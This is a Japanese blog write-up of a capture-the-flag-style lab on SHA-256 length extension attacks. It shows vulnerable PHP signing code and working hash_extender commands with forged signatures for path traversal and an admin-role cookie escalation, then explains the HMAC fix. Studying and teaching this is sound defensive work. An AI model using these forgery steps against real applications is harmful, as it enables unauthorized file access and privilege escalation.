0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Length Extension Attack 完全理解

0
Last updated at Posted at 2026-01-03

はじめに

SHA-256 は安全なハッシュ関数である」

これは正しいです。
しかし、使い方を間違えれば SHA-256 であっても攻撃可能になります。

本記事では、実際の Web アプリの脆弱コードを題材にして、

  • Length Extension Attack とは何か
  • なぜ SHA-256 でも成立してしまうのか
  • 秘密鍵を知らずに署名を偽造できる理由
  • hash_extender を用いた実践攻撃
  • 正しい修正方法(HMAC)

原理 → 実装 → 攻撃 → 防御の流れで解説します。

1. Length Extension Attack とは

Length Extension Attack(長さ拡張攻撃)とは、
Merkle–Damgård 構造を持つハッシュ関数の性質を悪用した攻撃です。

影響を受ける代表的なアルゴリズム:

  • MD5
  • SHA-1
  • SHA-256
  • SHA-512

一言で言うと

既存のハッシュ値を「途中状態」として使い、
元のメッセージを知らなくてもデータを後ろに追加できる攻撃

2. 攻撃が成立する前提条件

この攻撃は「万能」ではありません。
以下の条件がそろったときのみ成立します。

2.1 Merkle–Damgård 構造のハッシュ関数を使用している

Merkle–Damgård 型ハッシュ関数は、次のように動作します。

  1. メッセージを固定長ブロックに分割
  2. 各ブロックで内部状態(state)を更新
  3. 最終的な内部状態がハッシュ値になる

重要なポイント

ハッシュ値 = 最終内部状態

つまり、攻撃者がハッシュ値を知っているということは
「内部状態を知っている」のと同じ意味になります。

2.2 ハッシュの使い方が次の形式

hash = Hash(secret || message)
  • ここが最大の地雷

3. 攻撃の仕組み

3.1 前提

サーバーが次のように署名しているとします:

token = SHA256(secret || message)

攻撃者が知っているもの:

  • message
  • token

3.2 攻撃者がやること

  • token内部状態として再利用
  • message正しい padding を推測
  • 追加データをそのまま続けてハッシュ

結果:

new_message = message || padding || extra_data
new_hash    = 正しく計算された hash

サーバー側では:

Hash(secret || new_message) == new_hash

検証に成功してしまう

4. hash_extender を使った実践攻撃

4.2 署名攻撃

実際の脆弱コード

require_once("secrets.php");

function sign($str, $secret) {
    return hash('sha256', $secret . $str);
}

// Retrieve and sanitize file and signature parameters
$file = isset($_GET['file']) ? $_GET['file'] : '';
$signature = isset($_GET['signature']) ? $_GET['signature'] : '';

if ($file && $signature) {
    // Validate the signature
    if (sign($file, $SECRET) === $signature) {

        // Sanitize the filename, force UTF-8 encoding, and remove malicious characters
        $file = mb_convert_encoding($file, 'UTF-8', 'binary');
        $file = preg_replace('/[^\w\/.]/', '', $file);

        // Set the file path in the images folder
        $filePath = __DIR__ . "/images/" . basename($file);

        // Check if the file exists and if it matches a defined product
        if (file_exists($filePath)) {
            $product = $products[$file];
						// Display product details

問題点

  • 署名検証が最優先

  • 署名が正しければ内容は信用される

  • 署名の生成方式が脆弱

Screenshot 2026-01-03 at 16.33.54.png

Screenshot 2026-01-03 at 16.34.44.png

http://lea.thm/labs/lab1/product.php?file=1.png&signature=02d101c0ac898f9e69b7d6ec1f84a7f0d784e59bbbe057acb4cef2cf93621ba9

ここでの目的は、ファイルパラメータ(例:"1.png")に追加データ(/../4.png)を付加して不正なファイルにアクセスし、変更されたファイルパスに対して有効なSHA-256署名を生成することです。

hash_extenderを使って

root@ip-10-48-117-100:~/Rooms/LengthExtensionAttacks/hash_extender# ./hash_extender --data 1.png --signature 02d101c0ac898f9e69b7d6ec1f84a7f0d784e59bbbe057acb4cef2cf93621ba9 --append /../4.png --out-data-format=html
Type: sha256
Secret length: 8
New signature: a9f7878a39b10d0a9d3d1765d3e83dd34b0b0242fa7e1567f085a5a9c467337a
New string: 1%2epng%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%2f%2e%2e%2f4%2epng

Type: sm3
Secret length: 8
New signature: b3503f8697adb6906472c4115b8732ceed307217e19b808bdb94795c2021fca6
New string: 1%2epng%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%2f%2e%2e%2f4%2epng

  • data: 署名する元のデータを指定します(「1.png」)
  • signature: 「1.png」の元のハッシュ署名
  • append: 追加する新しいデータを追加します ("/../4.png")
  • out-data-format=html: 変更された Web 要求を模倣するために出力を HTML 形式でフォーマットします

新しいリクエストを構築

http://lea.thm/labs/lab1/product.php?file=1%2epng%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%2f%2e%2e%2f4%2epng&signature=a9f7878a39b10d0a9d3d1765d3e83dd34b0b0242fa7e1567f085a5a9c467337a

結果を得て、攻撃成立です。

Screenshot 2026-01-03 at 16.48.24.png

Screenshot 2026-01-03 at 16.48.51.png

4.2 署名付きCookieの変更

脆弱コード

require_once("secrets.php");

// Default authorization status
$auth = false;

// Check if the 'auth' and 'hsh' cookies are set
if (isset($_COOKIE["auth"]) && isset($_COOKIE["hsh"])) {
    $auth = $_COOKIE["auth"]; // Get the original auth string
    $hsh = $_COOKIE["hsh"];

    // Verify the hash to ensure integrity
    if ($hsh === hash("sha256", $SECRET . $auth)) {
        // Instead of trying to parse, check if 'role=1' exists in the string
        if (strpos($auth, 'role=1') !== false) {
            echo "<html><head><title>Admin Panel</title></head><body>";
            echo "<h1>Welcome, Admin!</h1><br><br>";
        } elseif (strpos($auth, 'role=0') !== false) {
            echo "<html><head><title>User Panel</title></head><body>";
            echo "<h1>Welcome, User!</h1><br><br>";
        }
    }
}

Screenshot 2026-01-03 at 16.54.37.png

hash_extenderを利用して

root@ip-10-48-117-100:~/Rooms/LengthExtensionAttacks/hash_extender# ./hash_extender --data 'username=user;role=0' --append ';role=1' --signature bfe0fa5c36531773c73dcc8d2a931301f69cf9add05a1f35dcfa2d48b44c37f0 --format sha256 --secret 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: daf3dbdc47fd93fabe110ef0ed58a39d1eb59c234a7fd66d0fe2e1dd76f1e37f
New string: username%3duser%3brole%3d0%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%3brole%3d1

新しい値を使ってCookieを変更して、結果を得て、攻撃成立です。

Screenshot 2026-01-03 at 17.06.38.png

5.なぜ HMAC では防げるのか

正しい署名方法は以下です。

hash_hmac('sha256', $message, $secret);

HMAC の構造(簡略)

H( key ⊕ opad || H( key ⊕ ipad || message ) )

Length Extension Attack が失敗する理由

  • 外側の hash は 内部状態の続きではない
  • 攻撃者は 中間状態を再利用できない
  • padding を操作する余地がない

理論的に攻撃不可能


まとめ

  • Length Extension Attack はアルゴリズムの欠陥ではない
  • ハッシュ関数の誤用によって生まれる設計脆弱性
  • SHA-256 でも使い方次第で攻撃可能
  • 署名・改ざん検知には必ず HMAC を使う

「強い暗号」を使うことより
「正しい設計」をすることの方が重要

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?